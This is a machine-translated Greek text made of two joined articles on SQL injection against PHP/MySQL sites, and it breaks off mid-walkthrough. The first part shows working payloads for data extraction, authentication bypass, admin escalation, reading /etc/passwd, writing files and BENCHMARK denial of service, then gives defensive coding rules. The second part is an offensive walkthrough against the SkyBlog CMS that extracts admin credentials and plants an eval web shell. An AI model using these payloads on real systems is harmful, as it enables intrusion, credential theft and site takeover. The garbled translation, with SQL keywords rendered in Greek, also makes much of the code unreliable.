Ένα παράδειγμα υλοποίησης sql injection. Πώς παίρνουμε τα δεδομένα που χρειαζόμαστε; Λήψη λίστας με όλες τις βάσεις δεδομένων στον διακομιστή μέσω SQL injection

Μετάφραση: Νικολάι Ν.


Η απροσεξία και η απροσεξία είναι δύο λόγοι για τη σύνταξη κώδικα που είναι ευάλωτος σε ενέσεις SQL. Ο τρίτος λόγος - η άγνοια, θα πρέπει να ενθαρρύνει τον προγραμματιστή να εμβαθύνει τις γνώσεις του ή ακόμα και να αλλάξει επάγγελμα.

Έγχυση SQL ( SQL injection) - ευπάθεια που προκύπτει
με ανεπαρκή επαλήθευση και επεξεργασία δεδομένων
, τα οποία μεταδίδονται από τον χρήστη και σας επιτρέπει να τροποποιείτε και να εκτελείτε ερωτήματα μη αναμενόμενα από τον κώδικα του προγράμματος SQL.

Η έγχυση SQL είναι ένα ευρέως διαδεδομένο ελάττωμα ασφαλείας στο Διαδίκτυο, το οποίο αξιοποιείται εύκολα χωρίς ειδικά προγράμματα και δεν απαιτεί εκτεταμένες τεχνικές γνώσεις.

Η εκμετάλλευση αυτής της ευπάθειας ανοίγει το δρόμο σε μεγαλύτερες ευκαιρίες: όπως κλοπή, αντικατάσταση ή καταστροφή δεδομένων, άρνηση υπηρεσίας κ.λπ.

Σε αυτό το άρθρο θα προσπαθήσω να εξηγήσω τους κύριους κινδύνους που προκύπτουν κατά την αλληλεπίδραση μεταξύ της PHP και της βάσης δεδομένων MySQL.

Για λόγους σαφήνειας, θα δώσω ένα παράδειγμα μιας απλής δομής βάσης δεδομένων, η οποία είναι τυπική για τα περισσότερα έργα:

ΔΗΜΙΟΥΡΓΙΑ ΒΑΣΗΣ ΔΕΔΟΜΕΝΩΝ `ειδήσεις`.
ΧΡΗΣΗ «ειδήσεων»;
#
# πίνακας ειδήσεων
#
ΔΗΜΙΟΥΡΓΙΑ ΠΙΝΑΚΑ "ειδήσεις" (
`id` int(11) NOT NULL auto_increment,
`title` varchar(50) προεπιλογή NULL,
"ημερομηνία" ημερομηνία ώρα προεπιλογή NULL,
κείμενο "κείμενο",
ΚΥΡΙΟ ΚΛΕΙΔΙ («αναγνωριστικό»)
) TYPE=MyISAM;
#
#προσθέστε κάποια δεδομένα
#
INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (1"first news","2005-06-25
16:50:20","κείμενο ειδήσεων");
INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (2"δεύτερη είδηση","24-06-2005
12:12:33","δοκιμαστικά νέα");
#
# πίνακας χρηστών
#
ΔΗΜΙΟΥΡΓΙΑ ΠΙΝΑΚΑ "χρήστες" (
`id` int(11) NOT NULL auto_increment,
`login` varchar(50) προεπιλογή NULL,
"password" varchar(50) προεπιλογή NULL,
`admin` int(1) NULL DEFAULT "0",
ΚΥΡΙΟ ΚΛΕΙΔΙ (`id`)
) TYPE=MyISAM;
#
# προσθέστε πολλούς χρήστες, ο ένας με δικαιώματα διαχειριστή, ο άλλος απλός
#
INSERT INTO `users` (`id`,`login`,`password`,`admin`) ΤΙΜΕΣ (1,"admin","qwerty",1);
INSERT INTO `users` (`id`,`login`,`password`,`admin`) VALUES (2"user","1111",0);

Και τώρα ένα δείγμα κώδικα PHP:

Βλέπουμε ότι το αίτημα δημιουργείται ανάλογα με την τιμή του $_GET["id"].

Φυσικά, μπορεί να μην υπάρχει έξοδος σφάλματος, αλλά αυτό δεν σημαίνει ότι δεν υπάρχει σφάλμα.

ως αποτέλεσμα" Έχετε ένα σφάλμα στη σύνταξη SQL. ελέγξτε το εγχειρίδιο που αντιστοιχεί στο δικό σας Διακομιστής MySQLέκδοση για τη σωστή σύνταξη για χρήση κοντά στο """ στη γραμμή 1 "

αποτέλεσμα "Άγνωστη στήλη "1qwerty" στην ρήτρα "where" "

εάν υπάρχει μια ευπάθεια, θα πρέπει να παράγει ένα αποτέλεσμα παρόμοιο με

Παρόμοια τρωτά σημεία σας επιτρέπει να τροποποιήσετε το αίτημαστο τμήμα παραμέτρου WHERE.

Το πρώτο πράγμα που θα κάνει ένας εισβολέας όταν ανακαλυφθεί μια τέτοια ευπάθεια είναι να εξετάσει πόσα πεδία χρησιμοποιούνται στο αίτημα. Για να γίνει αυτό, ένα εσκεμμένα λανθασμένο αναγνωριστικό ορίζεται για να αποκλείει την έξοδο πραγματικών πληροφοριών και συνδυάζεται με ένα αίτημα με τον ίδιο αριθμό κενών πεδίων.

Ο αριθμός των "μηδενικών" πρέπει να αντιστοιχεί στον αριθμό των πεδίων που χρησιμοποιούνται στην αίτηση.

Εάν το ερώτημα εμφανίσει σφάλμα, προστίθεται μια άλλη κενή τιμή μέχρι να εξαφανιστεί το σφάλμα και να επιστραφεί ένα αποτέλεσμα με κενά δεδομένα. Στη συνέχεια, τα συνδυασμένα πεδία αντικαθίστανται με τιμές που μπορούν να παρατηρηθούν οπτικά στη σελίδα.

Τώρα στη σελίδα όπου υποτίθεται ότι θα εμφανιζόταν ο τίτλος των ειδήσεων, θα εμφανιστεί το qwerty.

σύνδεση του τρέχοντος χρήστη βάσης δεδομένων
http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

όνομα της βάσης δεδομένων που χρησιμοποιείται
http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Ανάκτηση δεδομένων από άλλους πίνακες:
SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,`password`,null,null from `users` όπου `id`=1
Αυτός είναι ένας απλός τρόπος για να μάθετε τον κωδικό πρόσβασης ή τον κατακερματισμό του κωδικού πρόσβασης του διαχειριστή.

Εάν ο τρέχων χρήστης έχει δικαιώματα πρόσβασης στη βάση δεδομένων "mysql", ο εισβολέας θα λάβει τον κατακερματισμό του κωδικού πρόσβασης διαχειριστή χωρίς κανένα πρόβλημα.

Τώρα η επιλογή του είναι απλώς θέμα χρόνου.

Ερευνα

Η αναζήτηση είναι ένα από τα πιο ευάλωτα μέρη, αφού εκπέμπει ταυτόχρονα μεγάλο αριθμόπαραμέτρους αιτήματος. Παράδειγμα απλό αίτημα, το οποίο πραγματοποιεί αναζήτηση κατά λέξη-κλειδί:
ΕΠΙΛΕΞΤΕ * ΑΠΟ "Νέα" ΟΠΟΥ "Τίτλος" ΑΡΕΣΕΙ "%$search%" Ή "text" LIKE "%$search%"
Η $search είναι η λέξη που αποστέλλεται από τη φόρμα.

Ένας εισβολέας μπορεί να περάσει $search = "# τώρα το αίτημα θα μοιάζει με αυτό:
ΕΠΙΛΕΞΤΕ * ΑΠΟ ΕΙΔΗΣΕΙΣ ΟΠΟΥ Ο τίτλος` LIKE "%"#%" Ή `text` LIKE "%"#%"
Κατά συνέπεια, αντί για τα αποτελέσματα αναζήτησης για τη λέξη-κλειδί, θα εμφανίζονται όλα τα δεδομένα. Αυτό σας επιτρέπει επίσης να χρησιμοποιήσετε τη δυνατότητα συγκέντρωσης ερωτημάτων που περιγράφεται παραπάνω.

Χρησιμοποιώντας την παράμετρο ORDER

Μπορείτε συχνά να δείτε ότι κατά την εισαγωγή παραμέτρων αναζήτησης ή την εμφάνιση πληροφοριών, επιτρέπουν στον χρήστη να ταξινομεί τα δεδομένα κατά ορισμένα πεδία. Θα πω αμέσως ότι η χρήση αυτής της ευπάθειας δεν είναι πολύ επικίνδυνη, καθώς θα προκαλέσει σφάλμα κατά την προσπάθεια συνδυασμού ερωτημάτων, αλλά σε συνδυασμό με τρωτά σημεία σε άλλα πεδία, υπάρχει κίνδυνος να σχολιαστεί αυτή η παράμετρος.

η παράμετρος ORDER σχηματίζεται ανάλογα με τη μεταβλητή $sort

$αναζήτηση = /*
$sort = */

Θα δημιουργηθεί το ακόλουθο αίτημα:
SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */ σχολιάζοντας έτσι μία από τις συνθήκες και την παράμετρο ORDER
Τώρα μπορείτε να συνδυάσετε ξανά το ερώτημα εκχωρώντας $sort=*/ UNION SELECT....

Ως επιλογή για την εκμετάλλευση της ευπάθειας αυτής της παραμέτρου:
ΕΠΙΛΟΓΗ * ΑΠΟ "χρήστες" ORDER BY LENGTH(password); Σας επιτρέπει να ταξινομείτε τους χρήστες ανάλογα με το μήκος του κωδικού πρόσβασης, υπό την προϋπόθεση ότι έχει αποθηκευτεί σε "καθαρή" μορφή.

Εξουσιοδότηση

Ας προσπαθήσουμε τώρα να εξετάσουμε τις επιλογές για ενέσεις SQL που εμφανίζονται κατά την εξουσιοδότηση χρήστη. Συνήθως, το αίτημα που ελέγχει την ορθότητα των δεδομένων εξουσιοδότησης μοιάζει με αυτό:
SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";
όπου $login και $password είναι μεταβλητές που μεταβιβάζονται από τη φόρμα.

Ένα τέτοιο ερώτημα επιστρέφει δεδομένα για τον χρήστη εάν είναι επιτυχές και ένα κενό αποτέλεσμα εάν δεν είναι επιτυχές.

Αντίστοιχα, για να περάσει η εξουσιοδότηση, ένας εισβολέας χρειάζεται μόνο να τροποποιήσει το αίτημα έτσι ώστε να επιστρέψει ένα μη μηδενικό αποτέλεσμα. Καθορίζεται μια σύνδεση που αντιστοιχεί σε πραγματικό χρήστη και αντί για κωδικό πρόσβασης ορίζεται "OR"1"="1"
Ή κάποια αληθινή κατάσταση
(1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 ΜΕΤΑΞΥ 1 ΚΑΙ 3)

Κατά συνέπεια, το αίτημα θα δημιουργηθεί ως εξής:
SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1"; που θα επιστρέψει το αποτέλεσμα, και ως εκ τούτου, θα οδηγήσει σε μη εξουσιοδοτημένη εξουσιοδότηση. Τι γίνεται αν οι κωδικοί πρόσβασης στη βάση δεδομένων είναι κατακερματισμένοι; Στη συνέχεια, ο έλεγχος κωδικού πρόσβασης απλώς «απενεργοποιείται» σχολιάζοντας όλα όσα έρχονται μετά τη «σύνδεση». Στη φόρμα, αντί για τη σύνδεση, εκχωρείται η σύνδεση του πραγματικού χρήστη και "# σχολιάζοντας έτσι τον έλεγχο κωδικού πρόσβασης.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

ως επιλογή "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"
Με αυτόν τον τρόπο μπορείτε να περάσετε την εξουσιοδότηση χωρίς να γνωρίζετε την πραγματική σύνδεσή σας.
Η υπόθεση με

SELECT * FROM `users` WHERE `login`="" OR `admin`=1#" AND `password`="12345" σάς επιτρέπει να συνδεθείτε με δικαιώματα διαχειριστή.
Ένα μεγάλο λάθος είναι να ελέγξετε τον κωδικό πρόσβασης ως εξής:
SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE

"$password" γιατί σε αυτήν την περίπτωση ο κωδικός % είναι κατάλληλος για οποιαδήποτε σύνδεση

ΕΙΣΑΓΩΓΗ & ΕΝΗΜΕΡΩΣΗ

Ωστόσο, δεν είναι μόνο τα SELECT που είναι ένα αδύναμο σημείο στην SQL. Το INSERT και το UPDATE δεν μπορούν να είναι λιγότερο ευάλωτα.
Ας υποθέσουμε ότι ο ιστότοπος έχει τη δυνατότητα εγγραφής χρηστών. Ερώτημα που προσθέτει νέο χρήστη:
INSERT INTO `users` (`login`, `password`,`admin`) VALUES ("χρήστης",

"κωδικός πρόσβασης", 0); Μια ευπάθεια σε ένα από τα πεδία επιτρέπει την τροποποίηση του αιτήματος με τα απαραίτητα δεδομένα. Προσθήκη στο πεδίο σύνδεσηςχρήστης", "κωδικός πρόσβασης", 1)#
προσθέτοντας έτσι έναν χρήστη με δικαιώματα διαχειριστή.

INSERT INTO `users` (`login`, `password`,`admin`) ΤΙΜΕΣ ("user", "password", 1)# "password",0); Ας υποθέσουμε ότι το πεδίο «admin» βρίσκεται πριν από το πεδίο «login», οπότε το κόλπο της αντικατάστασης των δεδομένων που έρχονται μετά το πεδίο «login» δεν λειτουργεί. Ας θυμηθούμε ότι η σύνταξη της εντολής INSERT σας επιτρέπει να προσθέσετε όχι μόνο μία γραμμή, αλλά πολλές.
Παράδειγμα ευπάθειας στο πεδίο σύνδεσης: $login=
χρήστης", "κωδικός πρόσβασης"),(1"χάκερ", "κωδικός πρόσβασης")#
INSERT INTO "users" ("admin", "login", "password") VALUES (0"user",

"password"),(1,"hacker", "password")#","password");

Με αυτόν τον τρόπο δημιουργούνται 2 εγγραφές, η μία με δικαιώματα απλού χρήστη, η άλλη με τα επιθυμητά δικαιώματα διαχειριστή.

Παρόμοια κατάσταση με το UPDATE
Προσθήκη επιπλέον πεδίων για αλλαγή:
$login=", `password`="", `admin`="1
Μετά παρόμοιο αίτημα
ΕΝΗΜΕΡΩΣΗ ΣΕΤ "users" `login`="teapot" WHERE `id`=2;
Τροποποιήθηκε ως εξής:
ΕΝΗΜΕΡΩΣΗ ΣΕΤ "users" `login`="", `password`="", `admin`="1" WHERE `id`=2; Τι θα γίνει; Ο χρήστης με ID 2 θα αλλάξει τη σύνδεση και τον κωδικό πρόσβασης σεκενές τιμές

και θα λάβει δικαιώματα διαχειριστή.

Ή σε περίπτωση $login =

", `password`="" WHERE `id` =1#

Η είσοδος και ο κωδικός πρόσβασης διαχειριστή θα είναι κενά.

ΔΙΑΓΡΑΦΩ
Όλα είναι απλά εδώ, δεν θα μπορείτε να λάβετε ή να αλλάξετε δεδομένα, αλλά είστε πάντα ευπρόσδεκτοι να διαγράψετε περιττά δεδομένα.
$id=1 Ή 1=1
Και αίτημα

ΔΙΑΓΡΑΦΗ ΑΠΟ "ειδήσεις" ΟΠΟΥ "id"=1 Ή 1=1. θα διαγράψει όλες τις εγγραφές στον πίνακα.

ΔΙΑΓΡΑΦΗ ΑΠΟ "ειδήσεις" ΟΠΟΥ "id"=1 Ή 1=1# LIMIT 1;

Εργασία με αρχεία χρησιμοποιώντας ενέσεις SQL.

Αμφιβάλλω σοβαρά ότι αυτό μπορεί να συμβεί οπουδήποτε, αλλά για να είμαστε δίκαιοι, τέτοιες μέθοδοι πρέπει επίσης να περιγραφούν.

Όταν είναι ενεργοποιημένα τα δικαιώματα αρχείου, μπορείτε να χρησιμοποιήσετε τις εντολές LOAD_FILE και OUTFILE.
Η επικινδυνότητά τους μπορεί να κριθεί από τα παρακάτω ερωτήματα:
SELECT * FROM `news` WHERE `id`=-1 union επιλέξτε null,LOAD_FILE("/etc/passwd"),null,null;
ΕΠΙΛΟΓΗ * ΑΠΟ «Νέα» ΟΠΟΥ «id»=-1 επιλογή ένωσης

null,LOAD_FILE("/home/test/www/dbconf.php"),null,null;
Αλλά όλα τα προβλήματα δεν τελειώνουν εκεί ακόμα.
SELECT * FROM `news` WHERE `id`=-1 union επιλέξτε null,"",null,null FROM `news` στο outfile
"/home/test/www/test.php"; Έτσι γράφουμε ένα αρχείο που περιέχεικώδικα php

. Είναι αλήθεια ότι εκτός από τον κώδικα, θα υπάρχουν πολλές ακόμη μηδενικές εγγραφές σε αυτό, αλλά αυτό σε καμία περίπτωση δεν θα επηρεάσει την απόδοση του κώδικα PHP.

Ωστόσο, υπάρχουν αρκετές προϋποθέσεις λόγω των οποίων αυτές οι μέθοδοι θα λειτουργήσουν:

Το δικαίωμα FILE είναι ενεργοποιημένο για τον τρέχοντα χρήστη της βάσης δεδομένων.

Δικαιώματα ανάγνωσης ή εγγραφής αυτών των αρχείων για τον χρήστη στον οποίο εκτελείται ο διακομιστής MySQL
απόλυτη διαδρομή προς το αρχείο. μείονσημαντική προϋπόθεση
- το μέγεθος του αρχείου πρέπει να είναι μικρότερο από το max_allowed_packet, αλλά επειδή στη MySQL 3.23 το μέγεθος του μεγαλύτερου πακέτου

μπορεί να είναι 16 MB και σε 4.0.1 και άνω, το μέγεθος του πακέτου περιορίζεται μόνο από την ποσότητα της διαθέσιμης μνήμης, μέχρι το θεωρητικό μέγιστο 2 GB, αυτή η συνθήκη είναι συνήθως πάντα διαθέσιμη.

Μαγικά αποσπάσματα Τα μαγικά εισαγωγικά κάνουναδύνατο να χρησιμοποιηθεί

Ενέσεις SQL σε μεταβλητές συμβολοσειράς επειδή διαφεύγει αυτόματα όλα τα "tas" που προέρχονται από $_GET και $_POST.
Αυτό όμως δεν ισχύει για τη χρήση ευπαθειών σε ακέραιες ή κλασματικές παραμέτρους, αν και με την τροπολογία ότι δεν θα είναι δυνατή η χρήση του ". Σε αυτήν την περίπτωση, η συνάρτηση char βοηθά.
ΕΠΙΛΟΓΗ * ΑΠΟ ΕΙΔΗΣΕΙΣ ΟΠΟΥ `id`=-1 ΕΠΙΛΟΓΗ ΕΝΩΣΗΣ

null,char(116,101,115,116),null,null;

DOS μέσω SQL injection.
Σχεδόν ξέχασα να πω, και οι ειδικοί της SQL θα επιβεβαιώσουν, ότι η λειτουργία UNION είναι δυνατή μόνο σε MySQL >=4.0.0. Οι άνθρωποι που έχουν έργα σε προηγούμενες εκδόσεις ανέπνευσαν με ανακούφιση :) Αλλά δεν είναι όλα τόσο ασφαλή όσο φαίνονται με την πρώτη ματιά. Η λογική του επιτιθέμενου μερικές φορές είναι δύσκολο να ακολουθηθεί. «Δεν μπορείς να το χακάρεις, έτσι τουλάχιστον
«Θα αποτύχω», θα σκεφτεί ο χάκερ, πληκτρολογώντας τη συνάρτηση BENCHMARK για ένα παράδειγμα αιτήματος
SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Φυσικά, σε ισχυρούς διακομιστές τέτοια πράγματα θα γίνονται πολύ πιο γρήγορα, αλλά το...BENCHMARK σας επιτρέπει να επενδύσετε έναν προς έναν.

Τοιουτοτροπώς:
SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));
Ή ακόμα και έτσι
ΕΠΙΛΕΞΤΕ * ΑΠΟ "Νέα" ΠΟΥ
`id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));
Και ο αριθμός των μηδενικών περιορίζεται μόνο από την «καλοσύνη» αυτού που τα πληκτρολογεί.

Νομίζω ότι είναι ακόμη και ΠΟΛΥ ισχυρό αυτοκίνητο, δεν θα μπορεί να καταπιεί εύκολα τέτοια αιτήματα.

Κατώτατη γραμμή

Αυτό είναι όλο. Σε αυτό το άρθρο, προσπάθησα να καλύψω όσο το δυνατόν περισσότερο τα τρωτά σημεία που δημιουργούν οι προγραμματιστές κατά τη δημιουργία προγραμμάτων που χρησιμοποιούν βάσεις δεδομένων MySQL. Ωστόσο, είμαι περισσότερο από σίγουρος ότι αυτό είναι πολύ μακριά
δεν είναι πλήρης λίστα.
Επομένως, είναι σημαντικό να θυμάστε μερικούς κανόνες:

Μην εμπιστεύεστε ΟΠΟΙΑΔΗΠΟΤΕ δεδομένα που προέρχονται από τον χρήστη.

Δεν μιλάμε μόνο για τα δεδομένα που μεταφέρονται στους πίνακες $_GET και $_POST. Μην ξεχνάτε το $_COOKIE και άλλα μέρη των κεφαλίδων HTTP.

Θα πρέπει να θυμάστε ότι είναι εύκολο να αντικατασταθούν.

Μην βασίζεστε στην επιλογή "μαγικά εισαγωγικά" της PHP
Που μάλλον εμποδίζουν περισσότερο από βοήθεια. Όλα τα δεδομένα που μεταφέρονται στη βάση δεδομένων πρέπει να συνοψίζονται ανά τύπο με πεδία

βάσεις δεδομένων. ($id=(int)$_GET["id"]) ή προστατεύεται από τις συναρτήσεις mysql_escape_string ή mysql_real_escape_string.

Το mysql_real_escape_string δεν διαφεύγει % και _, επομένως δεν πρέπει να χρησιμοποιείται σε συνδυασμό με LIKE.

Δεν πρέπει να βασίζεστε πάρα πολύ σε ένα σωστά γραμμένο mod_rewrite. Αυτοί είναι μόνο τρόποι δημιουργίας «βολικών» διευθύνσεων URL, αλλά σίγουρα όχι ένας τρόπος προστασίας από ενέσεις SQL.

Απενεργοποιήστε την αναφορά σφαλμάτων. Μην βοηθάτε τους κακούς επισκέπτες.Ακόμη και αν εντοπιστεί το σφάλμα, η έλλειψη πληροφοριών σχετικά με αυτό θα παρεμποδίσει σοβαρά την εφαρμογή του. Θυμηθείτε τη διαφορά μεταξύ του σταδίου ανάπτυξης και του σχεδίου εργασίας. Έξοδος σφάλματοςκαι άλλο λεπτομερείς πληροφορίες- ο σύμμαχός σας στο στάδιο ανάπτυξης, και

σύμμαχος του επιτιθέμενου

σε έκδοση εργασίας. Επίσης, δεν πρέπει να τα αποκρύψετε σχολιάζοντας στον κώδικα HTML για κάθε 1000 επισκέπτες θα υπάρχει 1 που θα βρει τέτοια πράγματα.

Χειριστείτε λάθη.

Γράψτε τα ερωτήματα επεξεργασίας SQL με τέτοιο τρόπο ώστε οι πληροφορίες σχετικά με αυτά να αποθηκεύονται σε ορισμένα αρχεία καταγραφής ή να αποστέλλονται μέσω ταχυδρομείου. Μην αποθηκεύετε δεδομένα πρόσβασης στη βάση δεδομένων σε αρχεία που δεν υποβάλλονται σε επεξεργασία από την PHP ως κώδικας.Δεν νομίζω ότι ανακάλυψα την Αμερική σε κανέναν, αλλά

Μην δημιουργείτε βάση δεδομένων "super user".

Παραχωρήστε μόνο τα απαραίτητα δικαιώματα για την εκτέλεση συγκεκριμένων εργασιών.

Στην αναζήτηση, αξίζει να περιορίσετε τον ελάχιστο και μέγιστο αριθμό χαρακτήρων, που είναι οι παράμετροι του ερωτήματος.

Για έναν ειλικρινή χρήστη, από 3 έως 60-70 χαρακτήρες είναι αρκετοί για να ικανοποιήσουν τα ενδιαφέροντα αναζήτησης και ταυτόχρονα αποτρέπετε καταστάσεις όπου το ερώτημα αναζήτησης θα είναι ο όγκος του "Πόλεμος και Ειρήνη".

Ελέγχετε πάντα τον αριθμό των εγγραφών που επιστρέφονται μετά από ένα ερώτημα

Σχεδόν το 90% των τοποθεσιών γραμμένων σε PHPΥπάρχει ένα τέτοιο λογικό σφάλμα, αυτό μπορεί να παρατηρηθεί ιδιαίτερα όταν γίνεται ένα αίτημα με βάση το αναγνωριστικό που ελήφθη από τον χρήστη, εάν δώσετε στο σενάριο ένα ανύπαρκτο αναγνωριστικό, θα δούμε αρκετά ενδιαφέροντα αποτελέσματαεκτέλεση ορισμένων σεναρίων, αντί να επιστρέψετε ένα πρόγραμμα 404 στο το καλύτερο σενάριοδεν θα κάνει τίποτα και θα εμφανίσει μια κενή σελίδα στο πρόγραμμα περιήγησης.

Ασφαλής SQL για εσάς ;)

Όλα όσα περιγράφονται στο άρθρο πραγματοποιήθηκαν ως πείραμα σε δοκιμαστική βάση, που ανήκει στον συγγραφέα του άρθρου. Δεν καταστράφηκαν ή άλλαξαν δεδομένα άλλων ανθρώπων.

Ο συντάκτης του άρθρου δεν φέρει καμία ευθύνη για τη χρήση των μεθόδων που περιγράφονται σε αυτό το άρθρο, καθώς εικάζεται ότι γράφτηκε με σκοπό την ενημέρωση σχετικά με τα τρωτά σημεία προγραμμάτων που γράφτηκαν με χρήση βάσεων δεδομένων MySql.

Χαιρετίσματα σε όλους! Σε αυτό το θέμα θα δείξω παραδείγματα SQL injection. Θέλω να δείξω πόσο επικίνδυνα μπορεί να είναι τα σενάρια και οι ιστότοποι. Αν δεν καταλαβαίνετε τίποτα σχετικά με αυτό, παραλείψτε ολόκληρο το κείμενο και απολαύστε τα παρακάτω βίντεο.

Θα τα δείξω όλα χρησιμοποιώντας το παράδειγμα του SkyBlog.

Λήψη της σύνδεσης και του κωδικού πρόσβασης στο κέντρο διαχείρισης

Για να χακάρετε, πρέπει να γνωρίζετε τα βασικά των ερωτημάτων SQL και να βρείτε μια ευπάθεια στον ιστότοπο.

Σημείο 1. Αναζήτηση για τρωτά σημεία.

Υπάρχει μια ευπάθεια σε δύο σελίδες SkyBlog - λείπει το φίλτρο μεμονωμένων εισαγωγικών

  1. index.php?catid="
  2. wievblog.php?id="

Για να αλλάξουμε το τυπικό αίτημα στη βάση δεδομένων - στο αίτημά σας, εισάγουμε:

index.php?catid=-1"+UNION+SELECT+1,2,3,4,5+--+1

Σημείωμα.Αρχικό ερώτημα: "SELECT * FROM skyblog_cat WHERE id="$catid " "
Το ερώτημά μας: "SELECT * FROM skyblog_cat WHERE id="-1"+UNION+SELECT+1,2,3,4,5+--+1""

catid=-1" - ανύπαρκτη τιμή
UNION - συνδυασμός ερωτημάτων
ΕΠΙΛΟΓΗ ... - το πραγματικό μας ερώτημα

Στο ευρετήριο της σελίδας θα εμφανιστεί το 5, που σημαίνει ότι θα αλλάξουμε την ίδια τιμή.

Σημείο 2. Ορισμός πινάκων.

Το SkyBlog έχει όλους τους πίνακες ίδιους, οπότε μπορείτε να μεταβείτε στο σημείο 4.

Βασικά όλοι οι διακομιστές έχουν βάση δεδομένων πληροφορίες_σχήμα. Αποθηκεύει όλους τους πίνακες και τα πεδία.
Για να βρούμε τον πίνακα που χρειαζόμαστε, ας αλλάξουμε το ερώτημα:
index.php?catid=-1"+UNION+SELECT+1,2,3,4,+TABLE_NAME+FROM+information_schema.tables+LIMIT+1,+1+--+1

Όπου TABLE_NAME είναι το όνομα των πινάκων και TABLES είναι ο πίνακας στον οποίο πραγματοποιούμε αναζήτηση χρησιμοποιώντας το LIMIT, το περνάμε με μη αυτόματο τρόπο. Τελικά θα βρούμε το τραπέζι skyblog_nastr.

Σημείο 3. Αναζήτηση για υπάρχοντα πεδία σε πίνακες.

index.php?catid=-1"+UNION+SELECT+1,2,3,4,+COLUMN_NAME+FROM +information_schema.columns+WHERE+TABLE_NAME="skyblog_nastr"+LIMIT+2,+1+--+1

Ο πίνακας COLUMNS περιέχει τις τιμές όλων των πεδίων σε όλους τους πίνακες, επομένως θα αναζητήσουμε πεδία μόνο στο skyblog_nastr. Όλα είναι ίδια με το σημείο 2.

Διαπιστώνουμε ότι η σύνδεση αποθηκεύεται στο πεδίο όνομακαι ο κωδικός πρόσβασης βρίσκεται στο πεδίο πέρασμα(και όχι σε κατακερματισμένη μορφή).

Σημείο 4. Λαμβάνουμε το login και τον κωδικό πρόσβασης από τον πίνακα διαχείρισης.

Μέσα από ελαφρούς χειρισμούς. Εμφανίζουμε εύκολα τη σύνδεσή σας:

index.php?catid=-1"+UNION+SELECT+1,2,3,4,name+FROM+skyblog_nastr+--+1

και κωδικός πρόσβασης:

index.php?catid=-1"+UNION+SELECT+1,2,3,4,pass+FROM+skyblog_nastr+--+1

Μετά από αυτό, εισάγουμε τα ληφθέντα δεδομένα στο σύστημα εξουσιοδότησης, το οποίο βρίσκεται στη διεύθυνση:

http://example/admin/

Πλήρης πρόσβαση στον ιστότοπο. Απομακρυσμένη δημιουργία αρχείου.

Πιστεύετε ότι είναι δυνατή η φόρτωση ενός αρχείου μέσω SQL injection; Φυσικά και όχι! Δεν θα μπορείτε να ανεβάσετε το αρχείο, αλλά μπορείτε να το δημιουργήσετε! Ας χρησιμοποιήσουμε το αίτημα ΣΕ ΕΞΩΦΙΛ. Η λειτουργία είναι βολική όταν χρειάζεται να κατεβάσετε αποτελέσματα ερωτημάτων. Απλώς πρέπει να πλαστογραφήσουμε το αποτέλεσμα του αιτήματος και να βρούμε τη διαδρομή προς τον ιστότοπο.

index.php?catid=-1"+UNION+SELECT+1,2,3,"Hello+world!",5+INTO+OUTFILE+"1.php"+--+1

Ο διακομιστής δεν εμφάνισε σφάλματα, πράγμα που σημαίνει ότι η λειτουργία λειτούργησε. Πού όμως δημιουργήθηκε το αρχείο; Για να το μάθετε, προσθέστε λίγο αριστερό φάκελο πριν από το 1.php (για παράδειγμα: home/1.php).

Εάν δεν μαντέψαμε σωστά, θα εμφανιστεί ένα σφάλμα: Δεν είναι δυνατή η δημιουργία/εγγραφή στο αρχείο "\usr\local\mysql-5.1\data\home\1.php" (Κωδικός σφάλματος: 2)

Μας γράφει ότι δεν μπορεί να δημιουργήσει/αντικαταστήσει το αρχείο και εμφανίζει την πλήρη διαδρομή από τη ρίζα του διακομιστή.

Στην πραγματικότητα, πρέπει να ανεβούμε 4 φακέλους για να φτάσουμε στη ρίζα του διακομιστή και εκεί, χρησιμοποιώντας επιστημονικό poking, να βρούμε τη διαδρομή προς τον ιστότοπο.

index.php?catid=-1"+UNION+SELECT+1,2,3,"Hello+world!",5%20INTO+OUTFILE+"../../../../home/example/www /1.txt"+--+1

Σημείωμα. Αυτό το παράδειγμαδείχνει ότι ανεβαίνω 4 φακέλους και μετά πηγαίνω προς την κατεύθυνση: home > παράδειγμα > www.

  • htdocs/
  • www/παράδειγμα (και αντίστροφα)
  • public_html/
  • παράδειγμα/html (και αντίστροφα)

Ζήτω! Το αρχείο μας βρίσκεται στη διεύθυνση: http://example/1.txt

Και μας είπε: 1 2 3 γειά σου κόσμο! 5

Διαχείριση μιας παραβιασμένης ιστοσελίδας.

Μπορέσαμε να δημιουργήσουμε από απόσταση ένα αρχείο στον διακομιστή, αλλά τι μας εμποδίζει να ολοκληρώσουμε αυτό το σενάριο; Μόνο η συνείδησή μας μας σταματά. Δεν πειράζει, είναι μαζί μου. Οπότε θα συνεχίσω να κοροϊδεύω το σενάριο.

Η γνώση της PHP θα μας φανεί χρήσιμη.

Σημείο 1. Εκτέλεση σεναρίου.

Γνωρίζουμε τη διαδρομή για τη δημιουργία του αρχείου: ../../../../home/example/www/

Τώρα θα δημιουργήσουμε ένα σενάριο

Eval($_GET[x]);

Σημείωμα.μικτή ισοτιμία (συμβολοσειρά $code_str)
Εκτελεί τη συμβολοσειρά που έχει περάσει στην παράμετρο code_str ως κώδικας PHP.

http://example/index.php?catid=-1"+UNION+SELECT+1,2,3,"", 5+INTO+OUTFILE+"../../../../home/example /www/1.php"+--%201

Ελέγχουμε την ύπαρξη του αρχείου: example/1.php ... Έχουμε δημιουργήσει ένα τέρας.

Ρήτρα 2. Πηγαίος κώδικας του ιστότοπου.

